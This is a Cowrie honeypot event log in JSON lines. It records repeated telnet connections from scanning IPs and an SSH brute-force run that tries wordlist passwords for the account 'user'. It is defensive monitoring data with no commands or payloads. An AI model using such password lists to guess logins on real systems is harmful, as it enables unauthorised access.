{"eventid":"cowrie.session.closed","duration":30.63577365875244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:56.951738Z","src_ip":"46.4.133.15","session":"6ffb46266907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35200,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca31340ec1a4","protocol":"telnet","message":"New connection: 46.4.133.15:35200 (10.17.0.5:23) [session: ca31340ec1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:57.143669Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"a694944aeb88","protocol":"telnet","message":"New connection: 46.4.133.15:35282 (10.17.0.5:23) [session: a694944aeb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:57.161240Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37188,"dst_ip":"10.17.0.5","dst_port":23,"session":"344e8d3ed7dc","protocol":"telnet","message":"New connection: 46.4.133.15:37188 (10.17.0.5:23) [session: 344e8d3ed7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:57.599874Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef9347dcd9c","protocol":"telnet","message":"New connection: 46.4.133.15:37826 (10.17.0.5:23) [session: 2ef9347dcd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:57.820174Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfcgjhn","message":"login attempt [user/gfcgjhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:57.932399Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35316,"dst_ip":"10.17.0.5","dst_port":23,"session":"671dd7f98473","protocol":"telnet","message":"New connection: 203.1.9.18:35316 (10.17.0.5:23) [session: 671dd7f98473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:58.696210Z"}
{"eventid":"cowrie.session.closed","duration":31.123348236083984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:59.002829Z","src_ip":"46.4.133.15","session":"f081a6f24bea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"getsdown","message":"login attempt [user/getsdown] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:59.034609Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.685389041900635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:59.102059Z","src_ip":"46.4.133.15","session":"142e568737dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":47414,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d123165c04","protocol":"telnet","message":"New connection: 203.1.9.18:47414 (10.17.0.5:23) [session: 60d123165c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:59.709771Z"}
{"eventid":"cowrie.session.closed","duration":30.81557846069336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:59.985483Z","src_ip":"46.4.133.15","session":"eb32423a0122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46154,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4f15e48ebf","protocol":"telnet","message":"New connection: 46.4.133.15:46154 (10.17.0.5:23) [session: ac4f15e48ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:00.129094Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"georgia1","message":"login attempt [user/georgia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:00.143267Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46566,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7dc878573c","protocol":"telnet","message":"New connection: 46.4.133.15:46566 (10.17.0.5:23) [session: 9f7dc878573c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:00.215149Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47528,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f7eef759d6","protocol":"telnet","message":"New connection: 46.4.133.15:47528 (10.17.0.5:23) [session: 71f7eef759d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:00.403615Z"}
{"eventid":"cowrie.session.closed","duration":30.73643922805786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:00.986368Z","src_ip":"46.4.133.15","session":"7f7c35de1618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894587993621826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:01.042370Z","src_ip":"46.4.133.15","session":"fa2ae076322d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"geology","message":"login attempt [user/geology] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:01.246157Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac2adcaf5fe","protocol":"telnet","message":"New connection: 46.4.133.15:46912 (10.17.0.5:23) [session: aac2adcaf5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:01.273640Z"}
{"eventid":"cowrie.session.closed","duration":31.324370861053467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:01.463335Z","src_ip":"46.4.133.15","session":"b977031f72bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":47422,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b339778ce2f","protocol":"telnet","message":"New connection: 203.1.9.18:47422 (10.17.0.5:23) [session: 8b339778ce2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:01.597347Z"}
{"eventid":"cowrie.session.closed","duration":30.686298847198486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:01.942975Z","src_ip":"46.4.133.15","session":"82dc6b868d0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:02.349364Z","src_ip":"2.57.121.25","session":"3b8da3bba7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":55184,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d625294d0ca","protocol":"telnet","message":"New connection: 46.4.133.15:55184 (10.17.0.5:23) [session: 0d625294d0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:02.380412Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56470,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c7dbcea7ba6","protocol":"telnet","message":"New connection: 46.4.133.15:56470 (10.17.0.5:23) [session: 6c7dbcea7ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:02.763805Z"}
{"eventid":"cowrie.session.closed","duration":30.78478717803955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:02.965272Z","src_ip":"46.4.133.15","session":"1fb8f4857d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17853045463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:03.019139Z","src_ip":"46.4.133.15","session":"c18a2ced0e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496235132217407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:03.945491Z","src_ip":"46.4.133.15","session":"71ebb38762c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60972,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d900973eed","protocol":"telnet","message":"New connection: 46.4.133.15:60972 (10.17.0.5:23) [session: c9d900973eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:03.951319Z"}
{"eventid":"cowrie.session.closed","duration":30.759716510772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:03.980088Z","src_ip":"46.4.133.15","session":"59353d8e9c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":34564,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c4f4091d2db","protocol":"telnet","message":"New connection: 46.4.133.15:34564 (10.17.0.5:23) [session: 1c4f4091d2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:04.374755Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35626,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a88dcfe4e77","protocol":"telnet","message":"New connection: 46.4.133.15:35626 (10.17.0.5:23) [session: 5a88dcfe4e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:04.673653Z"}
{"eventid":"cowrie.session.closed","duration":30.784791946411133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:04.946796Z","src_ip":"46.4.133.15","session":"3aa2561de3ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448495149612427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:04.960446Z","src_ip":"46.4.133.15","session":"7629f792d85b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44250,"dst_ip":"10.17.0.5","dst_port":23,"session":"5869a253975e","protocol":"telnet","message":"New connection: 46.4.133.15:44250 (10.17.0.5:23) [session: 5869a253975e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:06.995087Z"}
{"eventid":"cowrie.session.closed","duration":30.855426788330078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:07.011827Z","src_ip":"46.4.133.15","session":"107b017d96e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99830436706543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:07.159611Z","src_ip":"46.4.133.15","session":"88786164f781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71524691581726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:07.946344Z","src_ip":"46.4.133.15","session":"d12a25808f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905412197113037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.023144Z","src_ip":"46.4.133.15","session":"3aff9ec96ef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48864,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2644ae3641","protocol":"telnet","message":"New connection: 46.4.133.15:48864 (10.17.0.5:23) [session: fd2644ae3641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.112326Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":49094,"dst_ip":"10.17.0.5","dst_port":23,"session":"065f16a9895f","protocol":"telnet","message":"New connection: 46.4.133.15:49094 (10.17.0.5:23) [session: 065f16a9895f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.157590Z"}
{"eventid":"cowrie.session.closed","duration":30.832106351852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.957623Z","src_ip":"46.4.133.15","session":"cfe0487f9216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644497632980347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.980772Z","src_ip":"46.4.133.15","session":"52e3d737a82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516428470611572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.992530Z","src_ip":"46.4.133.15","session":"63aac204d9c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591022968292236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:08.996980Z","src_ip":"46.4.133.15","session":"c27a75708807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85743522644043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:09.067816Z","src_ip":"46.4.133.15","session":"da49852f96e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817806720733643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:09.953920Z","src_ip":"46.4.133.15","session":"62a25b0249d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54285168647766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:10.723850Z","src_ip":"46.4.133.15","session":"79885f0cebb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80672860145569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:10.980572Z","src_ip":"46.4.133.15","session":"0b2cd3c0e8db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594916105270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:11.005841Z","src_ip":"46.4.133.15","session":"1a6af30443c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"1075229e7de8","protocol":"telnet","message":"New connection: 46.4.133.15:59576 (10.17.0.5:23) [session: 1075229e7de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:11.030676Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4854681c8a","protocol":"telnet","message":"New connection: 46.4.133.15:60180 (10.17.0.5:23) [session: fd4854681c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:11.143700Z"}
{"eventid":"cowrie.session.closed","duration":31.403993129730225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:11.562882Z","src_ip":"46.4.133.15","session":"dbf43d709312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40800,"dst_ip":"10.17.0.5","dst_port":23,"session":"542664badfcb","protocol":"telnet","message":"New connection: 203.1.9.18:40800 (10.17.0.5:23) [session: 542664badfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:11.869185Z"}
{"eventid":"cowrie.session.closed","duration":30.876689434051514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:11.991765Z","src_ip":"46.4.133.15","session":"b2ce6f8a87fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40804,"dst_ip":"10.17.0.5","dst_port":23,"session":"682c6a056289","protocol":"telnet","message":"New connection: 203.1.9.18:40804 (10.17.0.5:23) [session: 682c6a056289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:12.209349Z"}
{"eventid":"cowrie.session.closed","duration":30.13197684288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:12.975477Z","src_ip":"46.4.133.15","session":"397a20d0d8ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822041034698486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:12.993239Z","src_ip":"46.4.133.15","session":"1fb7e2eab97d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675228357315063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:12.997068Z","src_ip":"46.4.133.15","session":"8a3687cd515b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb5166296e1","protocol":"telnet","message":"New connection: 46.4.133.15:40334 (10.17.0.5:23) [session: 2bb5166296e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:13.163072Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":42882,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f5acc5436a","protocol":"telnet","message":"New connection: 46.4.133.15:42882 (10.17.0.5:23) [session: f9f5acc5436a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:13.778860Z"}
{"eventid":"cowrie.session.closed","duration":30.824495315551758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:13.956015Z","src_ip":"46.4.133.15","session":"2f6cca1fac42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.719640254974365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:13.963745Z","src_ip":"46.4.133.15","session":"3cb822ec423f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85962152481079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:13.970099Z","src_ip":"46.4.133.15","session":"d58e4c0d9061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76590633392334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:13.994493Z","src_ip":"46.4.133.15","session":"ce0225ce63b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790849685668945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:14.057680Z","src_ip":"46.4.133.15","session":"4eff294abc08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940990447998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:14.094602Z","src_ip":"46.4.133.15","session":"be0c5247e59f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201631546020508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:14.188084Z","src_ip":"46.4.133.15","session":"3a0be77432a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.576715230941772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:14.605549Z","src_ip":"46.4.133.15","session":"1cdcbf205edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47104,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc058fc77033","protocol":"telnet","message":"New connection: 46.4.133.15:47104 (10.17.0.5:23) [session: cc058fc77033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:14.910202Z"}
{"eventid":"cowrie.session.closed","duration":31.024173974990845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:14.987022Z","src_ip":"46.4.133.15","session":"17a3ea629fcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40806,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b2e0d564c1","protocol":"telnet","message":"New connection: 203.1.9.18:40806 (10.17.0.5:23) [session: 29b2e0d564c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:15.319469Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":49834,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8449eb1093","protocol":"telnet","message":"New connection: 46.4.133.15:49834 (10.17.0.5:23) [session: 9c8449eb1093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:15.490681Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40822,"dst_ip":"10.17.0.5","dst_port":23,"session":"f67d77f65d9b","protocol":"telnet","message":"New connection: 203.1.9.18:40822 (10.17.0.5:23) [session: f67d77f65d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:15.609840Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40834,"dst_ip":"10.17.0.5","dst_port":23,"session":"17549ecc7a1e","protocol":"telnet","message":"New connection: 203.1.9.18:40834 (10.17.0.5:23) [session: 17549ecc7a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:15.649392Z"}
{"eventid":"cowrie.session.closed","duration":30.818392515182495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:15.951464Z","src_ip":"46.4.133.15","session":"ce30d46144ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712300777435303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:15.989050Z","src_ip":"46.4.133.15","session":"bd94a68ad84b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903773546218872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:16.391095Z","src_ip":"46.4.133.15","session":"cf97eae461f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784273386001587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:16.970551Z","src_ip":"46.4.133.15","session":"6748ec2ad155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999380826950073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:18.121647Z","src_ip":"46.4.133.15","session":"62f2f4b7fc0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60194,"dst_ip":"10.17.0.5","dst_port":23,"session":"df85e371a05c","protocol":"telnet","message":"New connection: 46.4.133.15:60194 (10.17.0.5:23) [session: df85e371a05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:18.182256Z"}
{"eventid":"cowrie.session.closed","duration":30.25388765335083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:18.943853Z","src_ip":"46.4.133.15","session":"d8c88dee9a22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61669135093689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:19.971995Z","src_ip":"46.4.133.15","session":"3eb7fe823d8a","protocol":"telnet"}
